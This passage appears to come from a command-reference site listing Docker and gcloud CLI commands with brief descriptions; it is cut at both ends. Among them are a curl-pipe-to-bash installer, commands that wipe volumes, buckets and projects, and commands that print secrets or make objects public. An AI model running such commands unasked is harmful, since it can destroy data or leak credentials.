Example: ```bash docker compose up -d ``` Builds and starts containers defined in docker-compose.yml ### docker compose down ```bash docker compose down ``` Stops and removes containers and networks defined in docker-compose.yml ### docker compose logs ```bash docker compose logs ``` Example: ```bash docker compose logs -f ``` Views output from containers defined in the compose file ## Advanced Management ### docker export ```bash docker export ``` Example: ```bash docker export webserver > fs.tar ``` Exports a container's filesystem as a tar archive (without history) ### docker import ```bash docker import ``` Example: ```bash docker import fs.tar myimage:imported ``` Imports the contents from a tarball to create a filesystem image ### docker commit ```bash docker commit ``` Example: ```bash docker commit webserver myimage:snapshot ``` Creates a new image from a container's changes (Not recommended for production) ### docker wait ```bash docker wait ``` Example: ```bash docker wait webserver ``` Blocks until a container stops, then prints its exit code ## Registry & Trust ### docker logout ```bash docker logout ``` Logs out from a Docker registry ### docker trust inspect ```bash docker trust inspect ``` Example: ```bash docker trust inspect nginx:latest ``` Returns trust and signing data for an image ### docker manifest inspect ```bash docker manifest inspect ``` Example: ```bash docker manifest inspect nginx:latest ``` Inspects the image manifest to see supported architectures and layers ## Blue Team & Forensics ### docker inspect format ```bash docker inspect format ``` Example: ```bash docker inspect --format='{{.NetworkSettings.IPAddress}}' webserver ``` Extracts specific data like IP address using Go templates ### docker inspect mounts ```bash docker inspect mounts ``` Example: ```bash docker inspect --format='{{json .Mounts}}' webserver ``` Extracts detailed mounting information for security audit ### docker diff check ```bash docker diff check ``` Example: ```bash docker diff suspicious_container ``` Checks for unauthorized file modifications inside a compromised container ### docker history no-trunc ```bash docker history no-trunc ``` Example: ```bash docker history --no-trunc nginx:latest ``` Views full command history to find secrets or bad commands in image build ## DevSecOps Workflows ### docker scan ```bash docker scan ``` Example: ```bash docker scan myimage:latest ``` Scans the image for vulnerabilities (requires Docker Scan plugin) ### docker sbom ```bash docker sbom ``` Example: ```bash docker sbom myimage:latest ``` Generates a Software Bill of Materials for the image (requires plugin) ## Container Hardening ### docker run --ulimit ```bash docker run --ulimit ``` Example: ```bash docker run --ulimit nofile=1024:1024 alpine ``` Sets specific ulimits like open file descriptors for the container ### docker run --device ```bash docker run --device ``` Example: ```bash docker run --device=/dev/snd:/dev/snd alpine ``` Adds a specific host device to the container ### docker run --cgroup-parent ```bash docker run --cgroup-parent ``` Example: ```bash docker run --cgroup-parent=/my-cgroup alpine ``` Specifies the parent cgroup for the container to inherit limits ## Swarm (Basic) ### docker swarm init ```bash docker swarm init ``` Initializes a swarm on the current node ### docker service create ```bash docker service create ``` Example: ```bash docker service create --replicas 3 nginx ``` Creates a replicated service in a Docker Swarm ### docker service ls ```bash docker service ls ``` Lists services running in the swarm ## Advanced Runtime ### docker run --runtime ```bash docker run --runtime ``` Example: ```bash docker run --runtime=runc alpine ``` Specifies a custom OCI runtime for the container ### docker run --init ```bash docker run --init ``` Example: ```bash docker run --init alpine ``` Runs an init process inside the container to forward signals and reap zombies ### docker run --entrypoint ```bash docker run --entrypoint ``` Example: ```bash docker run --entrypoint /bin/sh nginx ``` Overwrites the default ENTRYPOINT of the image ### docker run --workdir ```bash docker run --workdir ``` Example: ```bash docker run -w /app alpine pwd ``` Sets the working directory inside the container ### docker run --env ```bash docker run --env ``` Example: ```bash docker run -e MYVAR=production alpine env ``` Sets environment variables inside the container ### docker run --env-file ```bash docker run --env-file ``` Example: ```bash docker run --env-file ./env.list alpine env ``` Reads environment variables from a file ### docker run --health-cmd ```bash docker run --health-cmd ``` Example: ```bash docker run --health-cmd='curl -f http://localhost/' nginx ``` Defines a command to run to check container health ### docker run --health-interval ```bash docker run --health-interval ``` Example: ```bash docker run --health-interval=30s nginx ``` Sets the time between health checks ### docker run --cidfile ```bash docker run --cidfile ``` Example: ```bash docker run --cidfile ./container.id nginx ``` Writes the container ID to a file upon startup ## Advanced Automation ### docker kill signal ```bash docker kill signal ``` Example: ```bash docker kill -s SIGHUP webserver ``` Sends a specific custom signal to the container process ### docker system dial-stdio ```bash docker system dial-stdio ``` Proxies the standard input/output to the API connection (Advanced internal use) ## Incident Response ### docker container inspect state ```bash docker container inspect state ``` Example: ```bash docker inspect --format='{{.State.ExitCode}}' webserver ``` Quickly retrieves the exit code of a crashed container ### docker cp forensics ```bash docker cp forensics ``` Example: ```bash docker cp webserver:/var/log/app.log ./evidence/ ``` Extracts application logs for forensic analysis without entering the container ## System Cleanup ### docker builder prune ```bash docker builder prune ``` Cleans up the build cache to free up disk space ### docker system prune volumes ```bash docker system prune volumes ``` Example: ```bash docker system prune --volumes ``` Deep cleans the system including unused volumes ## Docker Compose ### docker compose up -d ```bash docker compose up -d ``` Starts all services defined in a docker-compose.yml in detached background mode. ### docker compose down -v ```bash docker compose down -v ``` Stops all compose services and forcefully removes the named volumes attached to them, performing a complete clean state wipe. ### docker compose ps ```bash docker compose ps ``` Lists the current status, ports, and health of containers strictly managed by the local docker-compose configuration. ### docker compose logs -f ```bash docker compose logs -f ``` Example: ```bash docker compose logs -f web ``` Tails and follows the logs explicitly for one isolated microservice defined inside the compose stack. ## Docker Swarm ### docker swarm init ```bash docker swarm init ``` Example: ```bash docker swarm init --advertise-addr ``` Initializes the machine as a Docker Swarm Master Manager node, generating the join tokens required for worker nodes. ### docker swarm join-token worker ```bash docker swarm join-token worker ``` Reveals the strict command and cryptographic token required for a remote machine to securely join this specific swarm. ### docker node ls ```bash docker node ls ``` Lists all active nodes participating in the swarm matrix, their reachability status, and whether they are managers or workers. ### docker service create ```bash docker service create ``` Example: ```bash docker service create --replicas 3 --name web_server nginx ``` Deploys a horizontally scaled service directly into the swarm, automatically load balancing requests across 3 isolated replicas. ### docker service logs ```bash docker service logs ``` Example: ```bash docker service logs web_server ``` Aggregates and tails the logs from all scattered swarm replicas belonging to this service into a single unified output stream. ## Buildx (Advanced BuildKit) ### docker buildx create --use ```bash docker buildx create --use ``` Spins up and activates a new sophisticated BuildKit environment unlocking multi-architecture compiling capabilities. ### docker buildx build --platform ```bash docker buildx build --platform ``` Example: ```bash docker buildx build --platform linux/amd64,linux/arm64 -t app:latest --push . ``` Cross-compiles the current Dockerfile for multiple disparate architectures (Apple Silicon / Intel) simultaneously and pushes the manifest to the registry. ## Advanced Networking ### docker network create -d overlay ```bash docker network create -d overlay ``` Example: ```bash docker network create -d overlay multi_host_net ``` Generates a distributed overlay network allowing swarm containers deployed on completely different physical servers to communicate securely natively. ## Advanced Data Volumes ### docker volume prune -a ```bash docker volume prune -a ``` Example: ```bash docker volume prune -a --force ``` Dangerously destroys every single data volume on the system that is not currently actively mounted by a running container. ## Security & Namespaces ### docker top ```bash docker top ``` Example: ```bash docker top 1234abcd ``` Maps internal container PIDs directly to their corresponding Host Operating System PIDs bridging the namespace isolated visibility. ### docker cp : ```bash docker cp : ``` Example: ```bash docker cp 12ab:/var/log/nginx/access.log ./ ``` Forcefully circumvents mounting architectures to directly extract or inject raw files out of a running container's sandbox. ## Related tools - [Docker Bench for Security](https://terminal.rokibulroni.com/tool/cloud/docker-bench-security) - [Trivy](https://terminal.rokibulroni.com/tool/containers/trivy) - [kubectl](https://terminal.rokibulroni.com/tool/cloud/kubectl) # Tool: Google Cloud CLI > The gcloud CLI for Google Cloud: manage projects, IAM, Compute Engine, GKE and storage from the terminal. - Category: Cloud - Commands: 160 - Page: https://terminal.rokibulroni.com/tool/cloud/gcloud - Homepage: https://cloud.google.com/sdk - Documentation: https://cloud.google.com/sdk/gcloud/reference - Tags: GCP, cloud, IAM ## Install - brew: `brew install --cask google-cloud-sdk` - other: `curl https://sdk.cloud.google.com | bash` ## Basic Setup ### gcloud version ```bash gcloud version ``` Displays the installed Google Cloud SDK version and component information. ### gcloud components list ```bash gcloud components list ``` Lists all available SDK components and their current installation status. ### gcloud components update ```bash gcloud components update ``` Updates all installed SDK components to the latest available version. ### gcloud help ```bash gcloud help ``` Example: ```bash gcloud help compute instances create ``` Displays detailed help documentation for a specific command group or subcommand. ## Authentication ### gcloud auth login ```bash gcloud auth login ``` Initiates the browser-based authentication flow to log in with a user account. ### gcloud auth list ```bash gcloud auth list ``` Lists all credentialed accounts currently active in the gcloud environment. ### gcloud auth application-default login ```bash gcloud auth application-default login ``` Acquires credentials for Application Default Credentials (ADC) used by client libraries. ### gcloud auth revoke ```bash gcloud auth revoke ``` Example: ```bash gcloud auth revoke user@example.com ``` Revokes credentials for a specific account, logging them out of the CLI. ## Configuration ### gcloud config list ```bash gcloud config list ``` Displays the active configuration properties for the current environment. ### gcloud config set project ```bash gcloud config set project ``` Example: ```bash gcloud config set project my-project-id ``` Sets the default project ID for subsequent commands to target. ### gcloud config configurations create ```bash gcloud config configurations create ``` Example: ```bash gcloud config configurations create my-lab-config ``` Creates a new named configuration profile to isolate settings between environments. ### gcloud config configurations activate ```bash gcloud config configurations activate ``` Example: ```bash gcloud config configurations activate my-lab-config ``` Switches the active CLI context to a specific named configuration. ## Project Management ### gcloud projects list ```bash gcloud projects list ``` Lists all Google Cloud projects visible to the currently authenticated user. ### gcloud projects describe ```bash gcloud projects describe ``` Example: ```bash gcloud projects describe my-project-id ``` Shows metadata and lifecycle state for a specific project. ### gcloud projects create ```bash gcloud projects create ``` Example: ```bash gcloud projects create my-new-project-id --name='My New Project' ``` Creates a new Google Cloud project with the specified ID and display name. ## Identity & Access (IAM) ### gcloud iam roles list ```bash gcloud iam roles list ``` Lists the standard curated IAM roles available in the project. ### gcloud iam service-accounts list ```bash gcloud iam service-accounts list ``` Lists all service accounts residing within the current project. ### gcloud iam service-accounts create ```bash gcloud iam service-accounts create ``` Example: ```bash gcloud iam service-accounts create my-sa --display-name='My Service Account' ``` Creates a new service account within the current project. ### gcloud projects get-iam-policy ```bash gcloud projects get-iam-policy ``` Example: ```bash gcloud projects get-iam-policy my-project-id ``` Retrieves the IAM policy (permissions bindings) attached to the specified project. ### gcloud projects add-iam-policy-binding ```bash gcloud projects add-iam-policy-binding ``` Example: ```bash gcloud projects add-iam-policy-binding my-project-id --member='user:alice@example.com' --role='roles/viewer' ``` Adds an IAM policy binding to grant a specific role to a user or principal. ## Compute Engine ### gcloud compute zones list ```bash gcloud compute zones list ``` Lists all available Compute Engine zones and their status. ### gcloud compute instances list ```bash gcloud compute instances list ``` Lists all virtual machine instances in the project across all zones. ### gcloud compute instances describe ```bash gcloud compute instances describe ``` Example: ```bash gcloud compute instances describe my-instance --zone=us-central1-a ``` Displays detailed configuration and status of a specific VM instance. ### gcloud compute instances create ```bash gcloud compute instances create ``` Example: ```bash gcloud compute instances create my-vm --zone=us-central1-a --machine-type=e2-micro ``` Creates and starts a new VM instance with specified parameters. ### gcloud compute instances start ```bash gcloud compute instances start ``` Example: ```bash gcloud compute instances start my-vm --zone=us-central1-a ``` Starts a currently stopped virtual machine instance. ### gcloud compute instances stop ```bash gcloud compute instances stop ``` Example: ```bash gcloud compute instances stop my-vm --zone=us-central1-a ``` Stops a running virtual machine instance. ### gcloud compute ssh ```bash gcloud compute ssh ``` Example: ```bash gcloud compute ssh my-vm --zone=us-central1-a ``` Establishes an SSH connection to the instance using automatically managed keys. ## Networking ### gcloud compute networks list ```bash gcloud compute networks list ``` Lists all VPC networks defined in the project. ### gcloud compute networks subnets list ```bash gcloud compute networks subnets list ``` Lists all subnets associated with VPC networks in the project. ### gcloud compute firewall-rules list ```bash gcloud compute firewall-rules list ``` Lists all firewall rules configured for the project's networks. ### gcloud compute firewall-rules describe ```bash gcloud compute firewall-rules describe ``` Example: ```bash gcloud compute firewall-rules describe allow-ssh ``` Shows detailed configuration of a specific firewall rule. ### gcloud compute firewall-rules create ```bash gcloud compute firewall-rules create ``` Example: ```bash gcloud compute firewall-rules create allow-http --allow tcp:80 --network default ``` Creates a new firewall rule allowing incoming TCP traffic on port 80. ## Cloud Storage ### gcloud storage ls ```bash gcloud storage ls ``` Lists all Cloud Storage buckets in the project. ### gcloud storage buckets create ```bash gcloud storage buckets create ``` Example: ```bash gcloud storage buckets create gs://my-unique-bucket-name ``` Creates a new Cloud Storage bucket. ### gcloud storage buckets describe ```bash gcloud storage buckets describe ``` Example: ```bash gcloud storage buckets describe gs://my-unique-bucket-name ``` Displays metadata and settings for a specific bucket. ### gcloud storage cp ```bash gcloud storage cp ``` Example: ```bash gcloud storage cp local-file.txt gs://my-bucket/remote-file.txt ``` Copies a file from the local filesystem to a Cloud Storage bucket. ## Kubernetes Engine (GKE) ### gcloud container clusters list ```bash gcloud container clusters list ``` Lists all GKE clusters in the project. ### gcloud container clusters get-credentials ```bash gcloud container clusters get-credentials ``` Example: ```bash gcloud container clusters get-credentials my-cluster --zone=us-central1-a ``` Configures kubectl to authenticate with the specified GKE cluster. ## Cloud Run ### gcloud run services list ```bash gcloud run services list ``` Lists all Cloud Run services deployed in the project. ### gcloud run services describe ```bash gcloud run services describe ``` Example: ```bash gcloud run services describe my-service --region=us-central1 ``` Displays details about a specific Cloud Run service configuration. ## Cloud Functions ### gcloud functions list ```bash gcloud functions list ``` Lists all Cloud Functions deployed in the project. ## Cloud SQL ### gcloud sql instances list ```bash gcloud sql instances list ``` Lists all Cloud SQL database instances. ## Pub/Sub ### gcloud pubsub topics list ```bash gcloud pubsub topics list ``` Lists all Pub/Sub topics in the project. ### gcloud pubsub subscriptions list ```bash gcloud pubsub subscriptions list ``` Lists all Pub/Sub subscriptions in the project. ## Logging ### gcloud logging read ```bash gcloud logging read ``` Example: ```bash gcloud logging read 'severity>=ERROR' --limit=10 ``` Reads the latest log entries matching a specific filter. ### gcloud logging logs list ```bash gcloud logging logs list ``` Lists all log names present in the project. ## Output Formatting ### gcloud projects list --format=json ```bash gcloud projects list --format=json ``` Outputs the list of projects in full JSON format. ### gcloud compute instances list --format='table(name, zone, status)' ```bash gcloud compute instances list --format='table(name, zone, status)' ``` Displays instance data in a tabular format with specific columns. ## Output Filtering ### gcloud compute instances list --filter='status=RUNNING' ```bash gcloud compute instances list --filter='status=RUNNING' ``` Lists only the compute instances that are currently running. ### gcloud compute instances list --filter='name:test-*' ```bash gcloud compute instances list --filter='name:test-*' ``` Lists instances where the name starts with 'test-'. ## Advanced IAM ### gcloud iam service-accounts keys list ```bash gcloud iam service-accounts keys list ``` Example: ```bash gcloud iam service-accounts keys list --iam-account=sa@project.iam.gserviceaccount.com ``` Lists the keys associated with a specific service account. ### gcloud iam service-accounts keys create ```bash gcloud iam service-accounts keys create ``` Example: ```bash gcloud iam service-accounts keys create key.json --iam-account=sa@project.iam.gserviceaccount.com ``` Creates and downloads a new JSON key file for a service account. ### gcloud iam roles describe ```bash gcloud iam roles describe ``` Example: ```bash gcloud iam roles describe roles/editor ``` Shows the permissions included in a specific IAM role. ### gcloud iam roles create ```bash gcloud iam roles create ``` Example: ```bash gcloud iam roles create MyCustomRole --project=my-project --permissions=compute.instances.get,compute.instances.list ``` Creates a custom IAM role with a defined set of permissions. ## Advanced Compute ### gcloud compute instance-templates list ```bash gcloud compute instance-templates list ``` Lists available instance templates used for creating instance groups. ### gcloud compute instance-groups managed list ```bash gcloud compute instance-groups managed list ``` Lists managed instance groups (MIGs) for autoscaling configurations. ## Advanced Networking ### gcloud compute routers list ```bash gcloud compute routers list ``` Lists Cloud Routers used for dynamic routing and NAT. ### gcloud compute addresses list ```bash gcloud compute addresses list ``` Lists static external and internal IP addresses reserved in the project. ### gcloud compute ssl-certificates list ```bash gcloud compute ssl-certificates list ``` Lists SSL certificates managed by Compute Engine for load balancers. ## Security & Audit ### gcloud services list ```bash gcloud services list ``` Example: ```bash gcloud services list --enabled ``` Lists all APIs and services that are currently enabled in the project. ### gcloud services enable ```bash gcloud services enable ``` Example: ```bash gcloud services enable cloudasset.googleapis.com ``` Enables a specific Google Cloud API for the project. ### gcloud asset search-all-resources ```bash gcloud asset search-all-resources ``` Example: ```bash gcloud asset search-all-resources --scope=projects/my-project --query='name:production' ``` Searches all resources in the project matching a specific query using Cloud Asset Inventory. ### gcloud asset search-all-iam-policies ```bash gcloud asset search-all-iam-policies ``` Example: ```bash gcloud asset search-all-iam-policies --scope=projects/my-project --query='policy:roles/owner' ``` Finds all IAM policies in the project that grant the Owner role. ## Secret Manager ### gcloud secrets list ```bash gcloud secrets list ``` Lists all secrets stored in Secret Manager. ### gcloud secrets versions access ```bash gcloud secrets versions access ``` Example: ```bash gcloud secrets versions access latest --secret=my-secret ``` Accesses and prints the payload of the latest version of a secret. ## KMS (Key Management) ### gcloud kms keyrings list ```bash gcloud kms keyrings list ``` Example: ```bash gcloud kms keyrings list --location=global ``` Lists all Key Management Service key rings in a specific location. ### gcloud kms keys list ```bash gcloud kms keys list ``` Example: ```bash gcloud kms keys list --keyring=my-keyring --location=global ``` Lists cryptographic keys within a specified KMS key ring. ## Blue Team Defensive ### gcloud compute firewall-rules list --filter='sourceRanges:(0.0.0.0/0)' ```bash gcloud compute firewall-rules list --filter='sourceRanges:(0.0.0.0/0)' ``` Identifies firewall rules that allow traffic from the entire internet. ### gcloud compute instances list --filter='networkInterfaces.accessConfigs.natIP:*' ```bash gcloud compute instances list --filter='networkInterfaces.accessConfigs.natIP:*' ``` Lists all VM instances that have an external public IP address assigned. ### gcloud projects get-iam-policy my-project --flatten='bindings[].members' --filter='bindings.members:allUsers' ```bash gcloud projects get-iam-policy my-project --flatten='bindings[].members' --filter='bindings.members:allUsers' ``` Checks if any project-level IAM policies grant access to 'allUsers' (public access). ### gcloud storage buckets list --format='value(name, public_access_prevention)' ```bash gcloud storage buckets list --format='value(name, public_access_prevention)' ``` Lists buckets and checks their Public Access Prevention status. ### gcloud logging sinks list ```bash gcloud logging sinks list ``` Lists log router sinks to verify where logs are being exported. ## Container Security ### gcloud container clusters list --filter='addonsConfig.kubernetesDashboard.disabled=false' ```bash gcloud container clusters list --filter='addonsConfig.kubernetesDashboard.disabled=false' ``` Checks for GKE clusters that have the legacy Kubernetes Dashboard enabled. ### gcloud artifacts repositories list ```bash gcloud artifacts repositories list ``` Lists Artifact Registry repositories to audit container image storage locations. ## Automation Workflow ### gcloud compute snapshots list ```bash gcloud compute snapshots list ``` Example: ```bash gcloud compute snapshots list --filter='creationTimestamp < -P30D' ``` Lists compute disk snapshots created more than 30 days ago. ### gcloud compute disks list ```bash gcloud compute disks list ``` Example: ```bash gcloud compute disks list --filter='users:*' ``` Lists only disks that are currently attached to a VM instance. ### gcloud compute disks list --filter='-users:*' ```bash gcloud compute disks list --filter='-users:*' ``` Lists orphaned disks that are not attached to any VM instance. ### gcloud builds list ```bash gcloud builds list ``` Example: ```bash gcloud builds list --ongoing ``` Lists currently running Cloud Build operations. ## Advanced Formatting ### gcloud projects list --format='csv(projectId, projectNumber)' ```bash gcloud projects list --format='csv(projectId, projectNumber)' ``` Example: ```bash gcloud projects list --format='csv(projectId, projectNumber)' > projects.csv ``` Exports a list of project IDs and numbers to a CSV format. ### gcloud iam service-accounts list --format='value(email)' ```bash gcloud iam service-accounts list --format='value(email)' ``` Extracts and lists only the email addresses of service accounts. ## Organization Policy ### gcloud resource-manager org-policies list ```bash gcloud resource-manager org-policies list ``` Example: ```bash gcloud resource-manager org-policies list --project=my-project ``` Lists organization policies currently applied to the project. ### gcloud resource-manager org-policies describe ```bash gcloud resource-manager org-policies describe ``` Example: ```bash gcloud resource-manager org-policies describe compute.disableSerialPortAccess --project=my-project ``` Describes the configuration of a specific organization policy constraint. ## Billing ### gcloud beta billing accounts list ```bash gcloud beta billing accounts list ``` Lists all billing accounts accessible to the user. ### gcloud beta billing projects describe ```bash gcloud beta billing projects describe ``` Example: ```bash gcloud beta billing projects describe my-project ``` Checks which billing account is linked to a specific project. ## Incident Response ### gcloud logging read 'protoPayload.methodName="beta.compute.firewalls.insert"' --limit=5 ```bash gcloud logging read 'protoPayload.methodName="beta.compute.firewalls.insert"' --limit=5 ``` Searches logs for recent firewall rule creation events. ### gcloud logging read 'resource.type="gce_instance" AND protoPayload.methodName="v1.compute.instances.delete"' ```bash gcloud logging read 'resource.type="gce_instance" AND protoPayload.methodName="v1.compute.instances.delete"' ``` Searches logs for VM instance deletion events. ### gcloud compute instances add-metadata ```bash gcloud compute instances add-metadata ``` Example: ```bash gcloud compute instances add-metadata my-compromised-vm --metadata=forensics-status=investigating ``` Tags a compromised instance with metadata to signal an active investigation. ### gcloud compute instances stop --async ```bash gcloud compute instances stop --async ``` Example: ```bash gcloud compute instances stop my-compromised-vm --async ``` Immediately sends a stop signal to a VM without waiting for the operation to complete. ### gcloud compute firewall-rules update ```bash gcloud compute firewall-rules update ``` Example: ```bash gcloud compute firewall-rules update default-allow-ssh --disabled ``` Disables a specific firewall rule to immediately cut off access. ## Impersonation ### gcloud config set auth/impersonate_service_account ```bash gcloud config set auth/impersonate_service_account ``` Example: ```bash gcloud config set auth/impersonate_service_account sa@project.iam.gserviceaccount.com ``` Configures the CLI to impersonate a service account for all subsequent commands. ### gcloud config unset auth/impersonate_service_account ```bash gcloud config unset auth/impersonate_service_account ``` Stops service account impersonation and reverts to the original user credentials. ### gcloud compute instances list --impersonate-service-account ```bash gcloud compute instances list --impersonate-service-account ``` Example: ```bash gcloud compute instances list --impersonate-service-account=sa@project.iam.gserviceaccount.com ``` Runs a single command impersonating a service account without changing global config. ## Cloud DNS ### gcloud dns managed-zones list ```bash gcloud dns managed-zones list ``` Lists managed DNS zones in Cloud DNS. ### gcloud dns record-sets list ```bash gcloud dns record-sets list ``` Example: ```bash gcloud dns record-sets list --zone=my-zone ``` Lists DNS records within a specific managed zone. ## App Engine ### gcloud app services list ```bash gcloud app services list ``` Lists App Engine services deployed in the standard or flexible environment. ### gcloud app versions list ```bash gcloud app versions list ``` Lists the deployed versions of App Engine services. ## BigQuery ### gcloud alpha bq datasets list ```bash gcloud alpha bq datasets list ``` Lists BigQuery datasets (note: usually done via 'bq' tool, but gcloud has alpha support). ## Deployment Manager ### gcloud deployment-manager deployments list ```bash gcloud deployment-manager deployments list ``` Lists infrastructure deployments managed by Cloud Deployment Manager. ## Advanced Config ### gcloud config set compute/region ```bash gcloud config set compute/region ``` Example: ```bash gcloud config set compute/region us-central1 ``` Sets the default compute region to avoid specifying the flag in every command. ### gcloud config set compute/zone ```bash gcloud config set compute/zone ``` Example: ```bash gcloud config set compute/zone us-central1-a ``` Sets the default compute zone to avoid specifying the flag in every command. ### gcloud config set core/disable_usage_reporting ```bash gcloud config set core/disable_usage_reporting ``` Example: ```bash gcloud config set core/disable_usage_reporting true ``` Disables the anonymous usage reporting sent to Google. ## VPC Peering ### gcloud compute networks peerings list ```bash gcloud compute networks peerings list ``` Example: ```bash gcloud compute networks peerings list --network=default ``` Lists VPC peerings connected to a specific network. ## Interconnect ### gcloud compute interconnects list ```bash gcloud compute interconnects list ``` Lists dedicated physical interconnect connections. ## VPN ### gcloud compute vpn-gateways list ```bash gcloud compute vpn-gateways list ``` Lists Cloud HA VPN gateways. ### gcloud compute vpn-tunnels list ```bash gcloud compute vpn-tunnels list ``` Lists VPN tunnels connecting to peer gateways. ## Load Balancing ### gcloud compute backend-services list ```bash gcloud compute backend-services list ``` Lists backend services which process traffic for load balancers. ### gcloud compute url-maps list ```bash gcloud compute url-maps list ``` Lists URL maps used by HTTP(S) load balancers to route requests. ### gcloud compute target-http-proxies list ```bash gcloud compute target-http-proxies list ``` Lists target HTTP proxies used by load balancers. ## Advanced IAM ### gcloud iam workload-identity-pools list ```bash gcloud iam workload-identity-pools list ``` Example: ```bash gcloud iam workload-identity-pools list --location=global ``` Lists Workload Identity Pools for federated authentication. ### gcloud iam workload-identity-pools providers list ```bash gcloud iam workload-identity-pools providers list ``` Example: ```bash gcloud iam workload-identity-pools providers list --workload-identity-pool=my-pool --location=global ``` Lists identity providers configured within a Workload Identity Pool. ## Filestore ### gcloud filestore instances list ```bash gcloud filestore instances list ``` Lists fully managed NFS file servers (Filestore instances). ## Memorystore ### gcloud redis instances list ```bash gcloud redis instances list ``` Example: ```bash gcloud redis instances list --region=us-central1 ``` Lists Memorystore for Redis instances. ## Cloud Spanner ### gcloud spanner instances list ```bash gcloud spanner instances list ``` Lists Cloud Spanner instances. ### gcloud spanner databases list ```bash gcloud spanner databases list ``` Example: ```bash gcloud spanner databases list --instance=my-instance ``` Lists databases within a specific Spanner instance. ## Compliance ### gcloud compute project-info describe ```bash gcloud compute project-info describe ``` Displays project-wide metadata including default network tiers and usage export buckets. ### gcloud compute shared-vpc get-host-project ```bash gcloud compute shared-vpc get-host-project ``` Example: ```bash gcloud compute shared-vpc get-host-project my-project ``` Checks if the current project is attached to a Shared VPC Host project. ### gcloud access-context-manager policies list ```bash gcloud access-context-manager policies list ``` Example: ```bash gcloud access-context-manager policies list --organization=123456789 ``` Lists VPC Service Controls access policies for an organization. ### gcloud access-context-manager perimeters list ```bash gcloud access-context-manager perimeters list ``` Example: ```bash gcloud access-context-manager perimeters list --policy=123456789 ``` Lists service perimeters defined in VPC Service Controls. ## Advanced Security ### gcloud compute os-login describe-profile ```bash gcloud compute os-login describe-profile ``` Describes the OS Login profile for the current user, used for SSH access management. ### gcloud alpha scc assets list ```bash gcloud alpha scc assets list ``` Example: ```bash gcloud alpha scc assets list --organization=123456789 ``` Lists assets monitored by Security Command Center (SCC). ### gcloud alpha scc findings list ```bash gcloud alpha scc findings list ``` Example: ```bash gcloud alpha scc findings list --organization=123456789 --filter='state="ACTIVE"' ``` Lists active security findings detected by Security Command Center. ## Cloud Scheduler ### gcloud scheduler jobs list ```bash gcloud scheduler jobs list ``` Lists scheduled cron jobs. ### gcloud scheduler jobs run ```bash gcloud scheduler jobs run ``` Example: ```bash gcloud scheduler jobs run my-job ``` Forces a Cloud Scheduler job to run immediately. ## Cloud Tasks ### gcloud tasks queues list ```bash gcloud tasks queues list ``` Lists queues used for asynchronous task execution. ## Dataproc ### gcloud dataproc clusters list ```bash gcloud dataproc clusters list ``` Example: ```bash gcloud dataproc clusters list --region=us-central1 ``` Lists Hadoop/Spark clusters managed by Dataproc. ## Dataflow ### gcloud dataflow jobs list ```bash gcloud dataflow jobs list ``` Lists Dataflow streaming and batch jobs. ## Operations Suite ### gcloud monitoring dashboards list ```bash gcloud monitoring dashboards list ``` Lists custom monitoring dashboards created in Cloud Monitoring. ### gcloud monitoring policies list ```bash gcloud monitoring policies list ``` Lists alerting policies defined in Cloud Monitoring. ## Identity Aware Proxy (IAP) ### gcloud compute start-iap-tunnel ```bash gcloud compute start-iap-tunnel ``` Example: ```bash gcloud compute start-iap-tunnel my-instance 22 --zone=us-central1-a ``` Starts an IAP tunnel to forward a local port to the instance's SSH port. ## Advanced Storage ### gcloud storage buckets update ```bash gcloud storage buckets update ``` Example: ```bash gcloud storage buckets update gs://my-bucket --uniform-bucket-level-access ``` Updates a bucket to enforce uniform bucket-level access (disabling object ACLs). ### gcloud storage objects update ```bash gcloud storage objects update ``` Example: ```bash gcloud storage objects update gs://my-bucket/file.txt --add-acl-grant=entity=AllUsers,role=READER ``` Modifies object ACLs (caution: creates public objects). ### gcloud storage hmac list ```bash gcloud storage hmac list ``` Lists HMAC keys used for S3-interoperable storage access. ## Service Directory ### gcloud service-directory namespaces list ```bash gcloud service-directory namespaces list ``` Lists namespaces in Service Directory. ## Recaptcha Enterprise ### gcloud recaptcha keys list ```bash gcloud recaptcha keys list ``` Lists reCAPTCHA Enterprise keys. ## Health Checks ### gcloud compute health-checks list ```bash gcloud compute health-checks list ``` Lists health checks used by load balancers and managed instance groups. ## Instance Groups ### gcloud compute instance-groups unmanaged list ```bash gcloud compute instance-groups unmanaged list ``` Lists unmanaged instance groups (often used for legacy setups). ## Complex Filtering ### gcloud compute instances list --filter='tags.items:web-server AND machineType:e2-micro' ```bash gcloud compute instances list --filter='tags.items:web-server AND machineType:e2-micro' ``` Filters instances that have the 'web-server' network tag AND are e2-micro. ### gcloud projects list --filter='createTime < 2023-01-01' ```bash gcloud projects list --filter='createTime < 2023-01-01' ``` Filters projects created before a specific date. ## Cleanup ### gcloud compute instances delete ```bash gcloud compute instances delete ``` Example: ```bash gcloud compute instances delete my-vm --zone=us-central1-a --quiet ``` Deletes a VM instance without interactive confirmation. ### gcloud storage rm ```bash gcloud storage rm ``` Example: ```bash gcloud storage rm gs://my-bucket/file.txt ``` Deletes a specific object from a Cloud Storage bucket. ### gcloud storage rm -r ```bash gcloud storage rm -r ``` Example: ```bash gcloud storage rm -r gs://my-bucket ``` Recursively deletes a bucket and all objects contained within it. ### gcloud projects delete ```bash gcloud projects delete ``` Example: ```bash gcloud projects delete my-project-id ``` Shuts down a project and schedules it for deletion. ### gcloud compute firewall-rules delete ```bash gcloud compute firewall-rules delete ``` Example: ```bash gcloud compute firewall-rules delete allow-http ``` Deletes a specific firewall rule. ### gcloud container clusters delete ```bash gcloud container clusters delete ``` Example: ```bash gcloud container clusters delete my-cluster --zone=us-central1-a ``` Deletes a GKE cluster and its associated resources. ### gcloud iam service-accounts delete ```bash gcloud iam service-accounts delete ``` Example: ```bash gcloud iam service-accounts delete my-sa@my-project.iam.gserviceaccount.com ``` Deletes a service account identity. ## Endpoints ### gcloud endpoints services list ```bash gcloud endpoints services list ``` Lists Cloud Endpoints services. ## Source Repositories ### gcloud source repos list ```bash gcloud source repos list ``` Lists Cloud Source Repositories hosted in the project. ## Policy Troubleshooting ### gcloud policy-intelligence troubleshoot ```bash gcloud policy-intelligence troubleshoot ``` Example: ```bash gcloud policy-intelligence troubleshoot --principal-email=user@example.com --permission=compute.instances.start --resource=//compute.googleapis.com/projects/my-proj/zones/us-central1-a/instances/my-vm ``` Troubleshoots why a principal has or lacks a specific permission on a resource. ## Cloud Shell ### gcloud alpha cloud-shell ssh ```bash gcloud alpha cloud-shell ssh ``` Connects to the interactive Cloud Shell environment via SSH. ## Feedback ### gcloud feedback ```bash gcloud feedback ``` Submits feedback about the gcloud CLI to the Google team. ## Cloud Run (Serverless Conatiners) ### gcloud run deploy ```bash gcloud run deploy ``` Example: ```bash 